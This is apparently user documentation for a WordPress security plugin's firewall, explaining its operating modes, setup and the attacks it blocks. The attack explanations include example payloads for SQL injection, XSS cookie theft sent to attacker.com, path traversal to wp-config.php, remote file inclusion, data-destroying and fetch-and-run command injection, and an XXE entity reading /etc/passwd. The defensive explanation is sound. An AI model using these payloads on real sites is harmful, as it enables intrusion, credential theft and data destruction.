Firewall: The Protected Gateway
A firewall is like a guard at the entrance to your site. It examines every visitor (HTTP request) before allowing them in:
- Where are you coming from? (IP)
- What are you trying to do? (URL, request type)
- How are you behaving? (access pattern)
Based on these questions, the firewall decides: allow, challenge (CAPTCHA), or block.
Mode Selection
The Firewall offers different operating modes based on your security needs. Each mode determines when the firewall blocks traffic and when it allows access.
How to Choose the Right Mode?
Mode selection depends on your specific situation:
- Just installed: Start in Monitoring to observe
- In production: Protection is the standard mode
- In crisis: Strict for maximum protection
- In development: Off so it doesn't affect your work
Recommended Process
- OFF → MONITOR: First days to observe without blocking anything
- MONITOR → PROTECTION: Permanent standard mode, once you confirm there are no false positives
- PROTECTION → STRICT: Only if necessary
Protection-Downgrade Alert
Right below the main toggle on this screen there's a second, smaller switch: "Notify me if the Firewall is disabled or protection drops". Off by default.
Turn it on and you get an immediate email —no need to wait for the periodic security report— the moment the Firewall's protection level goes down:
- Block or Strict → Monitor (stops blocking, only logs)
- Any mode → Off (the Firewall is disabled entirely)
It only alerts when protection goes down. Raising protection (e.g. going from Monitor to Block) never triggers an alert —there's no point bothering you for making things more secure.
The email clearly states the previous and new status, with date and time, plus a direct link to review the Firewall. Each alert arrives as its own email (date and time are in the subject line) so several alerts in a row don't get grouped into one thread, hiding the most recent one.
Turns on and off instantly from this same switch —no need to save or reload the page.
Firewall Operating Modes
The Firewall has different "modes" depending on your needs. Each mode changes when it blocks.
1. OFF Mode (Disabled)
What it does: Nothing. The firewall is not active.
When to use: Never in production. Only during initial development.
2. MONITOR Mode (Observe)
What it does: Logs suspicious activity but does NOT block. It only watches.
Behavior: Everyone gets through, but the firewall logs "this would have been blocked if..."
When to use:
- First days after installing SeenSecure
- To learn what's normal vs. suspicious on your site
- Before switching to a more aggressive mode
3. PROTECTION Mode (Normal Protection)
What it does: Balance: blocks real attacks but allows legitimate traffic.
Behavior: Attacks are blocked, normal traffic passes through.
When to use: Normal production sites. Standard defense.
4. STRICT Mode (Strict)
What it does: Maximum protection. Blocks anything even slightly suspicious.
Behavior: May produce false positives (legitimate users blocked).
When to use:
- Site under active attack
- Highly critical site (banking, healthcare)
- After being hacked
OFF
❌ Do not use in production
MONITOR
✓ First days
PROTECTION
✓ Recommended standard
STRICT
✓ Crisis only
What Does the Firewall Protect Against?
Each of the following is a real, common attack type against WordPress sites — these aren't hypothetical cases, they're the techniques automated scanners try against virtually any public website, yours included, every single day. For each one we explain what the protection is for, why the attacker attempts it (what they gain if it works), and how the firewall acts to stop it.
SQL Injection (SQLi)
What this protection is for: your site stores everything — users, encrypted passwords, posts, orders — in a database that speaks a language called SQL. When you fill out a form (a search box, a login, a comment), that text usually ends up as part of a SQL instruction that runs on the server. SQL injection means writing, in that very same field, not the expected data, but fragments of SQL code — so the server doesn't just store your text, but also executes the command you've smuggled inside it.
Why an attacker attempts it: if the injection works, the attacker can read data they shouldn't see (encrypted passwords, customer emails, API keys stored in the database), modify it (turn their own account into an administrator), or even drop entire tables. It's one of the most direct ways to steal an entire database without needing any password.
Real example: in a search box or login field, instead of typing a name, the attacker sends something like ' OR '1'='1 or admin'; DROP TABLE wp_users; --. The first tries to turn the login condition into "always true" to get in without a password; the second tries to delete the entire users table.
How the firewall stops it: SeenSecure analyzes the content of every field before it reaches WordPress, looking for typical SQL syntax patterns where there should only be plain text (stray quotes followed by SQL keywords like OR, UNION, DROP, SELECT in combinations that make no sense as legitimate text). If it detects the pattern, it blocks the entire request before that text is even built into a SQL query — the database never sees the attack.
Cross-Site Scripting (XSS)
What this protection is for: when someone leaves a comment, fills out a profile, or submits a form, that text is often displayed again later on the page — to you, to other visitors, or to the admin when reviewing pending comments. XSS means putting real JavaScript code into that text instead of plain text, so that code runs in the browser of whoever views it afterward.
Why an attacker attempts it: the target is almost always someone else's browser — not the attacker's own, but a visitor's or, best case for the attacker, the administrator's. If the script runs in a logged-in admin's browser, it can steal their session (login cookie) and act as them — without ever needing their password. It's also used to redirect visitors to phishing sites or to overlay fake content on top of the real site.
Real example: in a comment field, instead of a normal comment, the attacker writes <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. If that text is displayed unfiltered on the page, anyone who visits it (including a logged-in admin) runs that script without knowing it, and their session cookie is sent straight to the attacker's server.
How the firewall stops it: the firewall examines every submitted piece of data looking for executable HTML/JavaScript tags (<script>, onerror=, onclick= attributes, javascript: schemes in links, etc.) where there should only be plain text, and blocks the request if it finds them — before that content ever gets stored or shown to anyone.
Path Traversal
What this protection is for: some parts of your site ask, right in the URL, for the name of a file to display (an image, a downloadable PDF, a template language file). Path Traversal means writing, instead of a normal filename, a path that "climbs out" of the allowed folder using repeated ../, to reach completely different files on the server.
Why an attacker attempts it: the typical target is reading configuration files that contain secrets — above all wp-config.php, which stores the database access credentials in plain text. With those credentials, the attacker can bypass WordPress entirely and connect directly to the database.
Real example: a vulnerable download URL like ?file=document.pdf gets manipulated into ?file=../../../../wp-config.php — each ../ climbs up one folder level until it escapes where it should have been restricted, reaching WordPress's root to read the configuration file.
How the firewall stops it: it blocks any request whose parameters contain "climb up a folder" sequences (../ or its encoded form %2e%2e%2f) combined with attempts to point at paths outside the expected directory, and it explicitly protects direct access to sensitive files like wp-config.php.
Remote & Local File Inclusion (RFI / LFI)
What this protection is for: some poorly coded plugins or themes dynamically load a PHP file based on a URL parameter (for example, to choose which language template to show). RFI means making that parameter point not to a local file, but to an external URL controlled by the attacker; LFI means pointing to a local file on the server itself that normally shouldn't be executed directly.
Why an attacker attempts it: if they manage to get the server to execute a PHP file of their own (hosted on their own server, in RFI) or a manipulable local file (in LFI, often combined with previously uploading a malicious file disguised as an image), they achieve full code execution on your server — the ultimate goal of most serious web attacks.
Real example (RFI): ?template=http://attacker.com/malicious-shell.php — if the vulnerable code does something like include($_GET['template']), the server downloads and directly executes that external PHP file, giving the attacker full control.
How the firewall stops it: it blocks parameters that contain full URLs (http://, https://, ftp://, or stream protocols like php://, data://) where a local filename is expected, and applies the same Path Traversal protections to keep a file parameter from "escaping" into system paths it shouldn't touch.
Directory Listing
What this protection is for: when you visit a website folder that has no index.php or index.html file inside it, some servers, by default, automatically display the complete list of every file in that folder — as if you'd opened the server's file explorer straight from your browser.
Why an attacker attempts it: this isn't an attack by itself, but reconnaissance — the step before a real attack. An attacker browsing through plugin and theme folders can discover exactly which version you're running (to look up already-published known vulnerabilities for that version), forgotten backup files (.sql, .zip), or configuration files that should never have been uploaded to the server.
How the firewall stops it: it directly blocks any request to the root of a plugin or theme folder that doesn't ask for a specific file, returning an error instead of the listing — combined with sensitive file protection, which prevents direct access to backups and configuration files even if someone knows their exact name.
Command Injection
What this protection is for: some plugins (ones that resize images, generate PDFs, or convert files) sometimes run operating system commands on the server underneath, using part of the data you submit as part of that command. Command injection means putting, into that data, special characters that the operating system interprets as "end this command, start a new one."
Why an attacker attempts it: it's the operating-system-level equivalent of SQL injection at the database level — if it works, the attacker runs arbitrary commands directly on the server (listing files, creating system users, downloading and installing malware), with the same level of access the web server itself has.
Real example: in a field (badly) used to name a file to process, the attacker sends image.jpg; rm -rf /var/www/* or image.jpg && curl http://attacker.com/malware.sh | sh — the ; or && tell the system "finish that command and run this other one next."
How the firewall stops it: it blocks requests whose parameters contain the special characters the operating system uses to chain or separate commands (;, &&, |, backticks) in contexts where those characters have no legitimate meaning.
XML External Entity (XXE)
What this protection is for: some WordPress functions and certain plugins process XML-format files (for example, when importing content, processing certain feeds, or handling document formats like .docx/.xlsx, which are internally XML). The XML format allows defining "entities" — shortcuts that expand into other content — and some of those entities can point to local files on the server or internal network addresses.
Why an attacker attempts it: by defining a malicious entity inside an uploaded or imported XML file, they can get the server itself to read and return the contents of local files (like wp-config.php) within the response, or use the server as a proxy to reach internal network services that shouldn't be reachable from outside.
Real example: an uploaded XML file contains a definition like <!ENTITY xxe SYSTEM "file:///etc/passwd"> and then references that entity within the document itself — if the server's XML processor expands it without restriction, the contents of that system file end up embedded in the response.
How the firewall stops it: besides upload protection blocking files with suspicious XML content, SeenSecure ensures the server's own XML processing has external entity loading disabled — the root cause that makes this attack possible — so that even if a malicious XML file did get processed, that dangerous part of the format simply isn't interpreted.
| Attack Type | Severity | Minimum mode to block |
|---|---|---|
| SQL Injection | ⭐⭐⭐⭐⭐ | Protection+ |
| XSS | ⭐⭐⭐⭐ | Protection+ |
| RFI / LFI | ⭐⭐⭐⭐⭐ | Protection+ |
| Command Injection | ⭐⭐⭐⭐⭐ | Protection+ |
| XXE | ⭐⭐⭐⭐ | Protection+ |
| Path Traversal | ⭐⭐⭐ | Protection+ |
| Directory Listing | ⭐⭐ | Protection+ |
How to Activate and Configure the Firewall
Step 1: Choose the Mode
Firewall > Mode > choose Monitoring, Protection or Strict > Save
Recommendation: Start with Monitoring for 48 hours. The overall on/off switch for the Firewall & WAF module lives in the module list on the SeenSecure Dashboard.
Step 2: Review Logs
Firewall > Traffic Log
Are you seeing many false positives? Legitimate users blocked? Adjust the settings of the relevant protection.
Step 3: Configure Sensitivity
Under Firewall → Anti-Injection & RCP, the Anti-Injection Shield (SQLi/XSS/LFI/Commands/XXE/SSRF) has two settings of its own, independent from the global Mode:
- Action: Off, Challenge, Block, Block the request only (403 without logging the IP), or Monitor (log only)
- Sensitivity: Low, Medium (recommended), or High — higher sensitivity blocks more patterns but raises the risk of false positives
Step 4: Define Exclusions (Optional)
If the Anti-Injection Shield blocks requests incorrectly, on the same tab add:
- Paths in the allowlist (one path or URL fragment per line)
- Parameters in the allowlist (by field/parameter name)
Step 5: Scale Up to Production Mode
- Day 1-3: MONITOR
- Week 2+: PROTECTION (recommended permanently)
Best Practices
Gradual Activation
- Install SeenSecure
- Firewall OFF for 1 day (validate functionality)
- Firewall MONITOR for 1 week (observe without blocking)
- Firewall PROTECTION indefinitely
Continuous Monitoring
- Review logs 2-3 times a week initially
- Then, once a week
- If you see a new pattern, investigate
Adjustments by Site Type
- Simple Blog: PROTECTION with medium sensitivity
- E-commerce: PROTECTION with high sensitivity on /checkout
- SaaS: PROTECTION with very high sensitivity
- Critical: STRICT during operating hours
Communicating with Users
If the Firewall blocks a legitimate user:
- They receive a descriptive error message
- It explains they were blocked for security reasons
- It offers support contact information
🔧 Troubleshooting
The Firewall blocked something legitimate (a plugin, a form, a webhook)
First confirm in Firewall → Traffic Log that the block really came from the Firewall (the "PROTECTION" column) and not from a different protection — that row's detail tells you exactly which pattern triggered it. Once confirmed:
- If it's a recurring path or parameter (a webhook, a plugin endpoint): add it to the allowlist by exact path or parameter name, rather than lowering the overall sensitivity — that way the rest of your site stays just as protected.
- If it's a pattern that trips too often on normal forms: lower the Sensitivity one notch before considering lowering the global Mode.
- If you need to confirm it without risking blocking anyone while you investigate: switch the global Mode to MONITOR temporarily — it keeps logging everything in the Traffic Log exactly the same, but blocks nothing while you work out the right adjustment.
I need to unblock someone right now
Add them directly under Firewall → IP Lists (whitelist): an IP on the whitelist takes absolute priority and bypasses the Firewall entirely, without waiting for any block to expire.
Frequently Asked Questions
What's the difference between MONITOR and LEARNING? Neither one blocks: both only log to the Traffic Log what they would have blocked. They're the same observation phase before moving to PROTECTION.
Aren't PROTECTION and STRICT the same thing? No: STRICT applies validation more strictly than PROTECTION for high-risk sites, at the cost of a higher false-positive risk if your site has heavy traffic or unusual forms.
How do I know if it was the Firewall or Bot Protection that blocked something? Check the "PROTECTION" column in the Traffic Log — it tells you exactly which module acted, no need to guess.
Can I have the Firewall in a different mode just for part of the site (e.g. /checkout)? The allowlist works by specific path or parameter within the active global mode, not as an independent mode per site section.